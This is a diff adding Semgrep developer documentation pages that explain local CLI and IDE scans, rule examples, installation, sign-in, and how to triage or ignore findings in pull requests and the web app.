+When Semgrep performs a CLI or IDE scan, it presents findings from **all rules** that your AppSec team uses. For this reason, you may encounter **more false positive or low severity findings** that you can ignore.
+
+## Common Semgrep commands
+
+### `semgrep scan`
+
+The following command runs a local scan with Semgrep's open source Community Edition (CE) using pre-selected rules for a variety of languages:
+
+```bash
+semgrep scan
+```
+- `semgrep scan` does not take into account your organization's settings.
+- You do **not** need to be logged in to run a scan.
+- It only runs lightweight SAST analyses.
+- It does not run other Semgrep products, such as Secrets or Supply Chain.
+
+
+**CAUTION**
+
+- `semgrep scan` does not run the same analyses as `semgrep ci` so you may have a higher rate of false positives.
+- You can run `semgrep scan --pro` to run advanced SAST analyses with no other Semgrep products.
+
+
+#### Test a custom rule
+
+You can test a custom rule by creating a test file. See [Testing rules](/writing-rules/testing-rules).
+
+After you've tested your custom rule, you can try it on your codebase locally:
+
+1. Ensure that you're signed in to Semgrep from the CLI by entering `semgrep login`. If you have successfully signed in, you should see **API token already exists** or a similar message.
+1. Enter the following command:
+ ```bash
+ semgrep scan --pro --config [CUSTOM_RULE].yaml
+ ```
+ Replace `CUSTOM_RULE.yaml` with the name of your custom rule.
+
+### `semgrep ci`
+
+The `semgrep ci` command, without any flags, sends the results of your scan to Semgrep AppSec Platform with the slug `local-scan/PROJECT_NAME`. When using this command in a team setting, ensure that you are aware of its risks and that your team members are aware that you're uploading the results of local scans.
diff --git a/mintlify-docs/for-developers/detection.mdx b/mintlify-docs/for-developers/detection.mdx
new file mode 100644
index 0000000000..b0b99f0649
--- /dev/null
+++ b/mintlify-docs/for-developers/detection.mdx
@@ -0,0 +1,100 @@
+---
+title: "How Semgrep works"
+description: "Semgrep enables you to:"
+---
+
+- Search for code semantically
+- Codify those search parameters as a **rule**
+- Run the rule on every keystroke, commit, pull request, and merge
+
+## `grep`, linters, and Semgrep
+
+
+
+
+
+In addition to being a security tool, once customized, Semgrep can be used as a linter to help you and your team codify and follow best practices and to detect code smells.
+
+You only need to learn a single rule-writing schema to write rules for many programming languages, rather than having to learn a new schema for each linter.
+
+## Transparency and determinism
+
+Semgrep is **transparent** because you can inspect the rules and analyses that are run on your code. Rules establish what should match (for example, you may want to look for and ban usages of `==` in JavaScript) and what shouldn't match. They have the following characteristics:
+
+- Rules are written in YAML. By having a single schema for all supported programming languages, you can write rules for any programming language that Semgrep supports.
+ - In contrast, linters vary in customizability. Linters that let you write your own rules require you to learn that linter's rule schema, which can only be applied to that linter's programming language.
+- A rule has a **confidence level** to indicate the likelihood it is a true positive.
+- A rule includes a **message** to help you remediate or fix.
+
+Semgrep is **deterministic**; given the same set of inputs, such as your code and rules, and the same analyses, Semgrep always finds the same findings.
+
+## Speed, scope and analysis
+
+Semgrep can perform several types of analyses on a given scope, which affects its scan speed. The following table breaks down expected runtimes in each developer interface.
+
+| Interface | Scope of scan | Analysis | Typical speed |
+| :--- | :--- | :--- | :--- |
+| IDE (per keystroke and on save) | Current file | Single-function, single-file | In a few seconds |
+| CLI on commit (through [`pre-commit`](https://pre-commit.com/)) | Files staged for commit (cross-function, single-file analysis) | Cross-function, single-file | Under 5 minutes |
+|PR or MR comments | All committed files and changes in the PR or MR | Cross-function, single-file analysis | Under 5 minutes |
+
+### Rule examples
+
+Click the following boxes to learn about Semgrep's pattern matching mechanisms and analyses.
+
+
+
+#### Simple syntax-based example
+
+You may want to ban the use of `==` in JavaScript and instead require `===` to avoid **type coercion** when evaluating expressions. This is a common standard enforced in popular JavaScript linters. This is a simple find and replace in many text editors, because the ban is enforced for **all** usages of `==`. In Semgrep, you can create a rule codifying this find and replace operation to share or enforce this standard.
+
+
+
+
+_**Figure**. Prevent type coercion in `==`. Click ** Run** to view the findings._
+
+This simple rule is accurate because it only requires the syntax defined in `pattern` to match, not the semantics. The **metavariables** $A and $B always evaluate to some value on the left and right hand side of the `==` operator, and that is all that matters, not the meaning or of $A and $B themselves.
+
+
+**METAVARIABLES**
+
+[Metavariables](/writing-rules/pattern-syntax#metavariables) are an abstraction to match code when you don’t know the value or contents ahead of time, similar to capture groups in regular expressions.
+
+
+
+#### Complex syntax-based example
+
+It is a common convention either to ban all uses of some language feature in user-facing code, such as `console.log()`, or to permit `console.log()` internally but not externally.
+
+Semgrep enables you to create a custom best practices set of rules around cases like this.
+
+
+
+
+
+_**Figure**. Ban `console.log` in external-facing functions. Click ** Run** to view the findings._
+
+Notice that only **line 4** matches. This is because only line 4 has a `console.log()` function within `someExternalFunction()`.
+
+This example defines both what matches within the external-facing function, and the external-facing function itself. This is achieved through the use of `pattern` and `pattern-inside`. The `...` **ellipsis** operator tells Semgrep to accept any number of arguments or values in `someExternalFunction()` and `console.log()`, thus capturing all possible variations of the functions.
+
+
+#### Semantic taint analysis example
+
+A more complex example is detecting if **unsanitized data** is flowing from some **source**, such as saved form data, to a **sink**, without sanitization.
+
+The following example is a simplified Semgrep rule that detects possible cross-site scripting vulnerabilities:
+
+
+
+
+
+_**Figure**. Prevent possible cases of cross-site scripting due to unsanitized data. Click ** Run** to view the findings._
+
+In this example, **lines 11 and 18** are the only two true positives.
+- **Line 7** is not a match because `hash` has been sanitized through `sanitize(hash)`.
+- **Line 9** stores the hash as a number, and the rule has defined this as a sanitizer as well.
+
+Semgrep defines the `pattern-sources`, `pattern-sinks`, and `pattern-sanitizers` to make sure that the rule is accurate and contains no false positives or false negatives by including every possible way this type of XSS can occur and **excluding** those cases where the data has been sanitized.
+
+
diff --git a/mintlify-docs/for-developers/ide.mdx b/mintlify-docs/for-developers/ide.mdx
new file mode 100644
index 0000000000..36ad6e171b
--- /dev/null
+++ b/mintlify-docs/for-developers/ide.mdx
@@ -0,0 +1,81 @@
+---
+title: "Run IDE scans"
+description: "Semgrep supports the following IDE extensions:"
+---
+
+| Name | Marketplace link | Documentation |
+| :--- | :--- | :--- |
+| Microsoft Visual Studio Code | [ `semgrep-vscode`](https://marketplace.visualstudio.com/items?itemName=semgrep.semgrep) | [Semgrep VS Code extension](/extensions/semgrep-vs-code) |
+| IntelliJ Ultimate Idea and many other IntelliJ products |[ `semgrep-intellij`](https://plugins.jetbrains.com/plugin/22622-semgrep) |[Semgrep IntelliJ extension](/extensions/semgrep-intellij) |
+| Emacs | [ `lsp-mode`](https://github.com/emacs-lsp/lsp-mode) | See repository README |
+
+## Quickstart
+
+Select your IDE in the following tabs and follow the instructions to set up your first Semgrep IDE scan.
+
+
+
+
+For Microsoft VS Code users:
+
+
+
+[Install the Semgrep extension](https://code.visualstudio.com/editor/extension-marketplace#_install-an-extension). If you're unfamiliar with installing VS Code extensions, see the Extension Marketplace's article [Install an Extension](https://code.visualstudio.com/editor/extension-marketplace#_install-an-extension).
+
+
+Use Ctrl+⇧Shift+P or ⌘Command+⇧Shift+P (macOS) to launch the Command Palette, and run the following to sign in to Semgrep AppSec Platform:
+ ```text
+ Semgrep: Sign in
+ ```
+ You can use the extension without signing in, but doing so enables better results since you benefit from [Semgrep Code](/semgrep-code/overview) and its [Pro rules](/semgrep-code/pro-rules).
+
+
+Launch the Command Palette using Ctrl+⇧Shift+P or ⌘Command+⇧Shift+P (macOS), and scan your files by running:
+ ```text
+ Semgrep: Scan all files in workspace
+ ```
+
+
+To see detailed vulnerability information, hover over the code underlined in yellow. You can also see the findings identified by Semgrep using ⇧Shift+Ctrl+M or ⌘Command+⇧Shift+M (macOS) and opening the **Problems** tab.
+
+
+
+
+
+
+For JetBrains IntelliJ users:
+
+
+
+Install the Semgrep extension:
+ - Visit [ Semgrep's page on the JetBrains Marketplace](https://plugins.jetbrains.com/plugin/22622-semgrep).
+ - In IntelliJ: **Settings/Preferences > Plugins > Marketplace > Search for `semgrep-intellij` > Install**. You may need to restart IntelliJ for the Semgrep extension to be installed.
+
+
+Sign in: Press Ctrl+⇧Shift+A (Windows) or ⌘Command+⇧Shift+A (macOS) and sign in to Semgrep AppSec Platform by selecting the following command:
+ ```text
+ Sign in with Semgrep
+ ```
+
+
+Test the extension by pressing Ctrl+⇧Shift+A (Windows) or ⌘Command+⇧Shift+A (macOS) and run the following command:
+ ```text
+ Scan workspace with Semgrep
+ ```
+
+
+See Semgrep findings: Hold the pointer over the code that has the red underline.
+
+
+
+**FEATURE MATURITY**
+
+Semgrep's IntelliJ extensions are currently in beta. Currently, the IntelliJ extension only supports Semgrep Community Edition (CE) - it doesn't support Semgrep Supply Chain, Secrets, Pro rules, or Pro Engine. Please join the [Semgrep community Slack workspace](https://go.semgrep.dev/slack) and let the Semgrep team know if you encounter any issues.
+
+
+
+
+
+## Scan scope and limitations
+
+Semgrep's VS Code extension supports the use of Pro rules and cross-file analysis. Other IDE scans use Semgrep Community Edition (CE) for its speed, and these scans are limited to single-file analysis. As a result, you may encounter a higher rate of false positives.
diff --git a/mintlify-docs/for-developers/overview.mdx b/mintlify-docs/for-developers/overview.mdx
new file mode 100644
index 0000000000..78566b85ed
--- /dev/null
+++ b/mintlify-docs/for-developers/overview.mdx
@@ -0,0 +1,94 @@
+---
+title: "Semgrep for developers"
+sidebarTitle: "Overview"
+description: "This guide is for developers who are using Semgrep in a team or organizational setting."
+---
+
+Use Semgrep to:
+
+- Triage security issues
+- Follow best practices set by your organization
+- Automate code reviews among your peers
+- Lint your code
+
+This document provides an overview of how developers work with Semgrep to resolve the issues it detects.
+
+
+
+
+**DEVELOPER AND APPSEC ROLES**
+
+If you are a developer responsible for your **own** security program in personal projects, see the [Quickstart](/getting-started/quickstart) and [Core deployment](/deployment/core-deployment) documentation.
+
+
+## Semgrep AppSec Platform
+
+Semgrep AppSec Platform, or simply **Semgrep**, is a software suite for implementing and tracking security programs.
+
+**AppSec engineers** use Semgrep to detect, triage, and remediate findings across an entire organization's codebases.
+
+**Developers** primarily interact with Semgrep when Semgrep scans a project, then notifies users of issues in their code. Issues detected by Semgrep are called **findings**. The pattern-matching logic by which Semgrep detects a finding is encapsulated in a **rule**. Semgrep performs various static analyses to detect bugs, vulnerabilities in dependencies, and leaked secrets.
+
+## How developers use Semgrep
+
+Your interactions with Semgrep vary depending on your organization's deployment of it.
+
+Semgrep is almost always integrated into your CI and source code manager (SCM) and automatically runs on every pull request or merge request you open. These scans are **diff-aware** and only affect the scope of your PR, which keeps the scan speed fast. Your security engineer may configure Semgrep to display PR or MR comments about certain **blocking** or **non-blocking** findings to you, which you can resolve or ignore from within your SCM.
+
+
+It is less frequent, but still common, for developers to run Semgrep as part of their day-to-day coding workflow in the following environments:
+
+- IDEs (VS Code and IntelliJ)
+- CLI, including `pre-commit`
+
+Your AppSec team is likely to have guidelines about Semgrep scans in these environments.
+
+
+**NOISE IN YOUR PULL REQUESTS OR MERGE REQUESTS?**
+
+Your security engineers are in full control of what findings are displayed to you. If you notice a high rate of false positives, tell your security engineers so that they can tune your scans.
+
+
+## Semgrep findings in your PR or MR
+
+Semgrep findings are typically posted in your PR or MR. The following image displays the parts of a Semgrep PR comment in GitHub; this example appears in a similar form in GitLab and other SCMs:
+
+
+
+
+
+
+**A - Block indicator**
+This appears if a finding fails the CI job. Organizations typically block PRs or MRs with failed jobs.
+
+**B - Finding description**
+A human-written description always appears in a PR or MR comment, describing why your code is flagged. References may also be included to help you learn more about the finding.
+
+**C - Dataflow graph**
+Some Code findings have a dataflow graph, which indicates that the finding was detected through %%taint analysis|taint_analysis%%. The dataflow graph provides the lines of code identifying sources, sinks, and traces of unsanitized data flowing through your program. You can click the links on the boxes to take you to the lines of code.
+
+**D - Resolution or remediation section**
+Various options are provided to help your resolve the finding. Depending on the type of finding, resolution options may vary.
+
+**E - Ignore instructions**
+Click to view instructions about how to ignore the finding by replying to the comment.
+
+### Type of findings by resolution
+
+**Code finding**
+This type of finding is typically resolved by refactoring your code. This finding typically catches bugs, security issues, or violations of best practices.
+
+**Dependency finding**
+Semgrep found that you're using a vulnerable version of a dependency. It can also detect if you're using the vulnerable function or code of the dependency.
+
+**License finding**
+Semgrep has found that you're using a dependency with a license that may violate the guidelines set by your organization.
+
+**Secrets finding**
+Semgrep has detected a leaked secret. Rotate the secret to resolve this finding.
+
+
+
+
+
+
diff --git a/mintlify-docs/for-developers/resolve-findings-through-app.mdx b/mintlify-docs/for-developers/resolve-findings-through-app.mdx
new file mode 100644
index 0000000000..1e2efbf3a2
--- /dev/null
+++ b/mintlify-docs/for-developers/resolve-findings-through-app.mdx
@@ -0,0 +1,80 @@
+---
+title: "Resolve findings through Semgrep AppSec Platform"
+description: "This guide explains how you can view and triage findings in bulk through the Semgrep AppSec Platform web app."
+---
+
+
+
+**CAUTION**
+
+- Not all organizations allow developers to use Semgrep AppSec Platform; ask your security team if you have access.
+- When triaging through Semgrep AppSec Platform, developers typically triage findings specific to their **branch**. Avoid triaging findings in branches that are not yours to triage.
+
+
+## Prerequisites
+
+You must have an existing Semgrep org account. See [Sign in to Semgrep](/for-developers/signin).
+
+## Ignore findings in bulk
+
+
+
+
+Sign in to [ Semgrep AppSec Platform](https://semgrep.dev/login).
+
+
+Click **Code** for SAST findings, **Secrets** for secrets findings, or **Supply Chain** for SCA findings. You are taken to a page with all the findings for that product.
+
+
+Click on **Projects and branches**, then click the ** drop-down arrow** to view open branches, which is listed by its unique ID. For example, GitHub branches are represented by their PR number.
+
+
+Click your branch. This filters the displayed findings to those specific to your PR or MR.
+
+
+Click the findings you want to triage, then click **Triage**.
+
+
+In the drop-down box, select a new **Status**, typically **Ignored**.
+
+
+Optional: include a comment as to why you ignored a finding.
+
+
+## Appendix: triage statuses
+
+
+
+| Status | Description |
+| :--- | :--- |
+| **Open** | Findings are open by default. A finding is open if it was present the last time Semgrep scanned the code and has not been ignored. An open finding represents a match between the code and a rule enabled in the repository. Open findings require action, such as rewriting the code to eliminate the detected vulnerability. |
+| **Reviewing** | Indicates that the finding requires investigation to determine what the next steps in the triage process should be. |
+| **Provisionally ignored** | Findings that Semgrep Multimodal has flagged as false positives. You can change the status to **Ignored** if you agree with Multimodal's assement. Otherwise, you can change the status to **To fix** if you disagree. |
+| **To fix** | Findings that you have decided to fix. Commonly used to indicate that these findings are tracked in Jira or assigned to developers for further work. |
+| **Fixed** | Fixed findings were detected in a previous scan but are no longer detected in the most recent scan of that same branch due to changes in the code. |
+| **Ignored** | Findings marked as ignored are present in the code but have been labeled unimportant. Ignore false positives or deprioritized issues. Mark findings as [ignored through Semgrep AppSec Platform](/semgrep-code/triage-remediation) or by adding a [nosemgrep code comment](/ignoring-files-folders-code/#reference-summary). You can also provide a reason for ignoring a finding: **False positive**, **Acceptable risk**, **No time to fix**. |
+| **Closed** | Vulnerabilities that are no longer detected after a scan. This can be due to changes in the underlying rule or the code. |
+
+### Removed findings
+
+Findings can also be **removed**. Semgrep considers a finding removed if it is not found in the most recent scan of the branch where Semgrep initially detected it due to any of the following conditions:
+
+- The rule that detected the finding isn't enabled in the policy anymore.
+- The rule that detected the finding was updated in a way that it no longer detects the finding.
+- The file path where the finding appeared is no longer found. The file path was deleted, renamed, added to a `.semgrepignore` file, added to a `.gitignore` file, or added to the list of ignored paths in Semgrep AppSec Platform.
+- For GitHub organization accounts: the pull request or merge request where the finding was detected has been closed without merging.
+
+Your removed findings do not count toward the fix rate or the number of findings. The removed findings also do not appear in Semgrep AppSec Platform.
+
+### Triage behavior across refs and branches
+
+- When you triage a finding as ignored, reviewing, fixing, or reopened, Semgrep always triages across other branches and [Git references](https://git-scm.com/book/en/v2/Git-Internals-Git-References) (refs).
+- At scan time, there's automatic triaging that occurs in specific cases, and the behavior changes depending on the type of scan:
+ - **Full scans**: if the current branch includes a finding that was
+ - Previously introduced in another branch ***and***
+ - Triaged to a specific state
+ **Then** the finding in the current branch is triaged to that same state.
+ - **Diff-aware scan**: findings introduced in a diff-aware scan are **not** automatically triaged at scan time, even if there are other instances of that finding on branches that have been triaged.
+
+
+
diff --git a/mintlify-docs/for-developers/resolve-findings-through-comments.mdx b/mintlify-docs/for-developers/resolve-findings-through-comments.mdx
new file mode 100644
index 0000000000..983fbfb46f
--- /dev/null
+++ b/mintlify-docs/for-developers/resolve-findings-through-comments.mdx
@@ -0,0 +1,153 @@
+---
+title: "Resolve findings in your pull request or merge request"
+---
+
+Findings resolution involves the assessment of a finding, then either fixing or ignoring it. You can fix or triage findings from your source code manager (SCM); fixing or triaging (ignoring) does **not** require a Semgrep AppSec Platform account.
+
+Findings are primarily presented to developers through **pull request (PR) or merge request (MR) comments**. These findings are generated from rules that your AppSec team has vetted or approved.
+
+Findings from these rules are meant to be **fixed** or **remediated** rather than ignored unless the finding is a false positive.
+
+In **typical coding workflows**, it is recommended to fix or ignore findings as part of your **code review** process; the results of triage or remediation in your SCM are synchronized with Semgrep AppSec Platform.
+
+However, if you have accumulated many findings to ignore, it may be faster to perform bulk triage actions in Semgrep AppSec Platform. See [Resolve findings through the Semgrep web app](/for-developers/resolve-findings-through-app).
+
+## Prerequisites and optional features
+
+- The procedures described in this guide rely on PR or MR comments. Ensure that your security team has enabled this feature.
+- To receive AI-assisted remediation, your security team must enable the **Semgrep Multimodal** feature.
+
+
+Your SCM is the most common environment in which to fix findings. Semgrep provides several features to help you fix findings quickly.
+
+## Parts of a PR or MR comment
+
+Semgrep findings are typically posted in your PR or MR. The following image displays the parts of a Semgrep PR comment in GitHub; this example appears in a similar form in GitLab and other SCMs:
+
+
+
+
+
+**A - Block indicator**
+This appears if a finding fails the CI job. Organizations typically block PRs or MRs with failed jobs.
+
+**B - Finding description**
+A human-written description always appears in a PR or MR comment, describing why your code is flagged. References may also be included to help you learn more about the finding.
+
+**C - Dataflow graph**
+Some Code findings have a dataflow graph, which indicates that the finding was detected through %%taint analysis|taint_analysis%%. The dataflow graph provides the lines of code identifying sources, sinks, and traces of unsanitized data flowing through your program. You can click the links on the boxes to take you to the lines of code.
+
+**D - Resolution or remediation section**
+Various options are provided to help your resolve the finding. Depending on the type of finding, resolution options may vary.
+
+**E - Ignore instructions**
+Click to view instructions about how to ignore the finding by replying to the comment.
+
+## Resolve findings
+
+Different types of findings require different remediations. The following sections describe how Semgrep can help you resolve a finding.
+
+### Autofix
+
+Some Semgrep Code findings provide an **autofix**, which can be human-written or generated by Semgrep Multimodal. The fix can be committed directly, such as by clicking **Commit suggestion** in GitHub repositories. This is the fastest way to fix a finding.
+
+All Semgrep-supported SCMs provide this feature.
+
+
+
+
+
+
+**INFO**
+
+If a line of code contains several findings, Semgrep does not provide the autofix or **Commit suggestion** feature to prevent fixes from conflicting.
+
+
+### Semgrep Multimodal remediations
+
+Semgrep Multimodal provides the following AI-powered security recommendations:
+
+- Step-by-step instructions.
+- AI-written code fixes if a human-written autofix is not available and a code fix can resolve the finding.
+- "Safe to ignore" suggestions.
+
+
+
+
+
+
+
+
+
+## Ignore findings
+
+If the finding is a false positive, acceptable risk, or similar, you can choose to ignore the finding. You can ignore findings directly from your SCM by **replying** to the finding comment.
+
+1. Find an open comment created by Semgrep AppSec Platform in your pull request or merge request:
+
+
+
+2. In a subsequent comment, reply with the action you want to take. You must provide a **reason** to help the reader understand why the finding has been triaged as **ignored**:
+
+ | Comment | Description |
+ | - | - |
+ | /fp <REASON> | Triage a finding as **Ignored** with the triage reason **false positive**. |
+ | /ar <REASON> | Triage a finding as **Ignored** with the triage reason **acceptable risk**. |
+ | /other <REASON> | Triage a finding as **Ignored** without specifying the reason; the triage reason value is set to **No triage reason**. |
+ | /open <REASON> | Reopen a finding that has been triaged as **Ignored**. The comment is optional. |
+
+
+
+
+_**Figure**. ._
+
+## Re-run a job or workflow
+
+Resolving or ignoring findings does not automatically re-run Semgrep checks. After resolving or triaging the findings in your PR or MR, you must re-run the Semgrep job or workflow. See the following list for a link to your CI provider's documentation:
+
+
+- [ Re-run a job in GitHub Actions](https://docs.github.com/en/actions/managing-workflow-runs-and-deployments/managing-workflow-runs/re-running-workflows-and-jobs)
+- [ View pipelines in GitLab CI/CD](https://docs.gitlab.com/ee/ci/pipelines/#view-pipelines)
+- [ View your pipeline in Bitbucket Pipelines](https://support.atlassian.com/bitbucket-cloud/view-your-pipeline/#Viewyourpipeline-CI_RerunStep)
+- [ Re-run a single stage in Azure DevOps](https://learn.microsoft.com/en-us/azure/devops/release-notes/2024/pipelines/sprint-235-update)
+- [ Restarting or rerunning a pipeline in Jenkins](https://www.jenkins.io/doc/book/pipeline/running-pipelines/#restarting-or-rerunning-a-pipeline)
+- [ Re-run a job in CircleCI](https://circleci.com/rerun-failed-tests/)
+- [ **Retry a job**](https://buildkite.com/resources/changelog/231-retry-failed-jobs-while-builds-are-running/) from the [**Dashboard > Build view**](https://buildkite.com/pipelines/dashboard-walkthrough) in Buildkite.
+- [ Re-run a Semgrep Managed Scan check](/kb/semgrep-appsec-platform/rerun-managed-scans)
+
+## Appendix: triage statuses
+
+
+
+| Status | Description |
+| :--- | :--- |
+| **Open** | Findings are open by default. A finding is open if it was present the last time Semgrep scanned the code and has not been ignored. An open finding represents a match between the code and a rule enabled in the repository. Open findings require action, such as rewriting the code to eliminate the detected vulnerability. |
+| **Reviewing** | Indicates that the finding requires investigation to determine what the next steps in the triage process should be. |
+| **Provisionally ignored** | Findings that Semgrep Multimodal has flagged as false positives. You can change the status to **Ignored** if you agree with Multimodal's assement. Otherwise, you can change the status to **To fix** if you disagree. |
+| **To fix** | Findings that you have decided to fix. Commonly used to indicate that these findings are tracked in Jira or assigned to developers for further work. |
+| **Fixed** | Fixed findings were detected in a previous scan but are no longer detected in the most recent scan of that same branch due to changes in the code. |
+| **Ignored** | Findings marked as ignored are present in the code but have been labeled unimportant. Ignore false positives or deprioritized issues. Mark findings as [ignored through Semgrep AppSec Platform](/semgrep-code/triage-remediation) or by adding a [nosemgrep code comment](/ignoring-files-folders-code/#reference-summary). You can also provide a reason for ignoring a finding: **False positive**, **Acceptable risk**, **No time to fix**. |
+| **Closed** | Vulnerabilities that are no longer detected after a scan. This can be due to changes in the underlying rule or the code. |
+
+### Removed findings
+
+Findings can also be **removed**. Semgrep considers a finding removed if it is not found in the most recent scan of the branch where Semgrep initially detected it due to any of the following conditions:
+
+- The rule that detected the finding isn't enabled in the policy anymore.
+- The rule that detected the finding was updated in a way that it no longer detects the finding.
+- The file path where the finding appeared is no longer found. The file path was deleted, renamed, added to a `.semgrepignore` file, added to a `.gitignore` file, or added to the list of ignored paths in Semgrep AppSec Platform.
+- For GitHub organization accounts: the pull request or merge request where the finding was detected has been closed without merging.
+
+Your removed findings do not count toward the fix rate or the number of findings. The removed findings also do not appear in Semgrep AppSec Platform.
+
+### Triage behavior across refs and branches
+
+- When you triage a finding as ignored, reviewing, fixing, or reopened, Semgrep always triages across other branches and [Git references](https://git-scm.com/book/en/v2/Git-Internals-Git-References) (refs).
+- At scan time, there's automatic triaging that occurs in specific cases, and the behavior changes depending on the type of scan:
+ - **Full scans**: if the current branch includes a finding that was
+ - Previously introduced in another branch ***and***
+ - Triaged to a specific state
+ **Then** the finding in the current branch is triaged to that same state.
+ - **Diff-aware scan**: findings introduced in a diff-aware scan are **not** automatically triaged at scan time, even if there are other instances of that finding on branches that have been triaged.
+
+
diff --git a/mintlify-docs/for-developers/signin.mdx b/mintlify-docs/for-developers/signin.mdx
new file mode 100644
index 0000000000..b845e66c88
--- /dev/null
+++ b/mintlify-docs/for-developers/signin.mdx
@@ -0,0 +1,119 @@
+---
+title: "Sign in to Semgrep"
+---
+
+
+Signing in to the [ Semgrep AppSec Platform web app](https://semgrep.dev/login) enables you to:
+
+- View and triage your findings in bulk.
+- Use your organization's custom Semgrep rules and configurations when you perform local scans with Semgrep. This ensures that everyone in the organization uses the same rules and analyses.
+
+
+**IS THIS DOCUMENT FOR YOU?**
+
+- Not all organizations require their developers to create a Semgrep account.
+- You can resolve or triage (ignore) findings in pull request or merge request comments, even **without** a Semgrep account, by replying to the comment. See [Resolve findings in your pull request or merge request](/for-developers/resolve-findings-through-comments).
+
+
+## Semgrep in multiple environments
+
+If you have not yet created a Semgrep account, it is **recommended** to first sign in to the Semgrep web app. This process creates a **personal** account, which you can then use to **join** your organization's Semgrep account. This lets you use your organization's Semgrep configuration, such as custom rules and scan parameters.
+
+If you use Semgrep in your CLI or IDE, you must sign in from those environments as well. It is recommended to sign in from these interfaces **after** you have signed in to your organization account in the web app.
+
+## Prerequisites
+
+- Confirm with your security team that there is an existing organization account for you to join.
+- For CLI and IDE scans, see [Prerequisites > Command line tool](/prerequisites#semgrep-command-line-tool) to ensure that your machine meets Semgrep's requirements.
+
+## Sign in to the web app
+
+In a typical Semgrep deployment, your company creates an **org** that you can sign in to and join using your GitHub, GitLab, or SSO credentials. Your organization will let you know through a notice or announcement once you can sign in.
+
+
+
+
+To join an existing org using your GitHub or GitLab credentials:
+
+
+Sign in to [ Semgrep AppSec Platform](https://semgrep.dev/login) with the account credentials specified by your admin.
+
+
+Follow the on-screen prompts to grant Semgrep the needed permissions and proceed. This creates your **personal** Semgrep account.
+
+
+Click the organization name displayed at the top of the **navigation bar** to expand the drop-down menu.
+
+
+Click **Add org > Join an organization**.
+
+
+Provide the name of the organization you'd like to join. Then, click **Join**.
+
+
+
+
+
+
+To join an existing org through your SSO provider:
+
+
+Sign in to [ Semgrep AppSec Platform](https://semgrep.dev/login) with the account credentials specified by your admin.
+
+
+You are automatically signed in to all organizations that your admin has set up for you.
+
+
+
+
+
+
+After signing in to your org's account, you can now sign in and scan with Semgrep from other environments, such as your CLI or IDE.
+
+## Set up Semgrep in the CLI
+
+### Install the Semgrep CLI tool
+
+Install the Semgrep CLI tool and confirm the installation:
+
+```bash
+# macOS users only - ensure that you've added Homebrew to your PATH
+# https://docs.brew.sh/FAQ#my-mac-apps-dont-find-homebrew-utilities
+brew install semgrep
+
+# macOS, Linux, Windows users - using pipx (recommended)
+# See https://pipx.pypa.io/stable/how-to/install-pipx/ to install pipx
+pipx install semgrep
+
+# Or, if you use uv (https://docs.astral.sh/uv/)
+uv tool install semgrep
+
+# confirm
+semgrep --version
+```
+
+
+### Sign in to Semgrep from the CLI
+
+To sign in to Semgrep:
+
+
+
+Ensure that you are signed in to your **[org account](#sign-in-to-the-web-app)** in the Semgrep web app.
+
+
+Enter the following command in your CLI:
+ ```bash
+ semgrep login
+ ```
+
+
+Running this command launches a browser window, but you can also use the link that's returned in the CLI to proceed.
+
+
+In the Semgrep CLI login dialog, click **Activate** to proceed.
+
+
+
+You are now ready to run local scans with your org's Semgrep configuration.
+
diff --git a/mintlify-docs/getting-started/cli.mdx b/mintlify-docs/getting-started/cli.mdx
new file mode 100644
index 0000000000..d46db5c692
--- /dev/null
+++ b/mintlify-docs/getting-started/cli.mdx
@@ -0,0 +1,227 @@
+---
+title: "Local scans with Semgrep"
+sidebarTitle: "Local CLI scans"
+description: "Learn how to set up Semgrep, scan your project for security issues using Semgrep Code's interfile analysis, and view your findings in the CLI."
+---
+
+
+## Prerequisites
+
+Before proceeding, see [Prerequisites](/prerequisites) to ensure that your machine meets Semgrep's requirements.
+
+## Set up Semgrep
+
+Install the Semgrep CLI tool and confirm the installation:
+
+```bash
+# macOS users only - ensure that you've added Homebrew to your PATH
+# https://docs.brew.sh/FAQ#my-mac-apps-dont-find-homebrew-utilities
+brew install semgrep
+
+# macOS, Linux, Windows users - using pipx (recommended)
+# See https://pipx.pypa.io/stable/how-to/install-pipx/ to install pipx
+pipx install semgrep
+
+# Or, if you use uv (https://docs.astral.sh/uv/)
+uv tool install semgrep
+
+# confirm
+semgrep --version
+```
+
+## Log in to your Semgrep account
+
+
+
+ Log in to your Semgrep account. Running this command launches a browser window, but you can also use the link that's returned in the CLI to proceed:
+
+ ```bash
+ semgrep login
+ ```
+
+
+ In the **Semgrep CLI login**, click **Activate** to proceed.
+
+
+
+
+**WARNING**
+
+Semgrep scans triggered using `semgrep ci` fail if you aren't signed in to your Semgrep account.
+
+
+## Turn on cross-file analysis
+
+To turn on [cross-file analysis](/semgrep-code/semgrep-pro-engine-intro), which allows you to detect vulnerabilities across files and folders:
+
+
+
+ In Semgrep AppSec Platform, go to [Settings > General > Code](https://semgrep.dev/orgs/-/settings/general/code).
+
+
+ Click the **Cross-file analysis** toggle to turn this feature on.
+
+
+
+## Scan your project
+
+Semgrep provides two commands that you can use to start a scan from the CLI:
+
+- `semgrep scan` - This is the recommended command for [scanning local codebases or scanning a project when you don't have a Semgrep account](/getting-started/quickstart-ce). It is also recommended for [writing and testing custom rules](/writing-rules/testing-rules).
+- `semgrep ci` - This is the recommended command if you are scanning Git repositories with Semgrep as part of an organization with custom rules and policies. `semgrep ci` fetches your organization's scan configurations from Semgrep AppSec Platform.
+
+Navigate to the root of your codebase, and run your first scan. The specific command you use depends on how you want to view the results.
+
+To view the results in the CLI:
+
+```bash
+semgrep ci
+```
+
+To export the results to a plain text file:
+
+```bash
+semgrep ci --text --text-output=semgrep.txt
+```
+
+To export the results to a SARIF file:
+
+```bash
+semgrep ci --sarif --sarif-output=semgrep.sarif
+```
+
+To export the results to a JSON file:
+
+```bash
+semgrep ci --json --json-output=semgrep.json
+```
+
+> The JSON schema for Semgrep's CLI output is in [semgrep/semgrep-interfaces](https://github.com/semgrep/semgrep-interfaces/blob/main/semgrep_output_v1.jsonschema).
+
+In addition to the `--text`, `--json`, and `--sarif` flags, which set the primary output formats, and the `--output=` flag that saves the results to a file or posts to a URL, you can append `---output=` to obtain additional output streams:
+
+```bash
+# prints findings in SARIF format to standard output and writes in JSON format to `findings.json`.
+semgrep ci --sarif --json-output=findings.json
+
+# prints findings in text to standard out and writes JSON output to `findings.json`.
+semgrep ci --json-output=findings.json
+
+# prints text output to `findings.txt` and writes in SARIF to `findings.sarif`.
+semgrep ci --output=findings.txt --sarif-output=findings.sarif
+
+# writes text to `semgrep.txt`, JSON to `semgrep.json`, and SARIF to `semgrep.sarif`.
+semgrep ci --text --output=semgrep.txt --json-output=semgrep.json --sarif-output=semgrep.sarif
+```
+
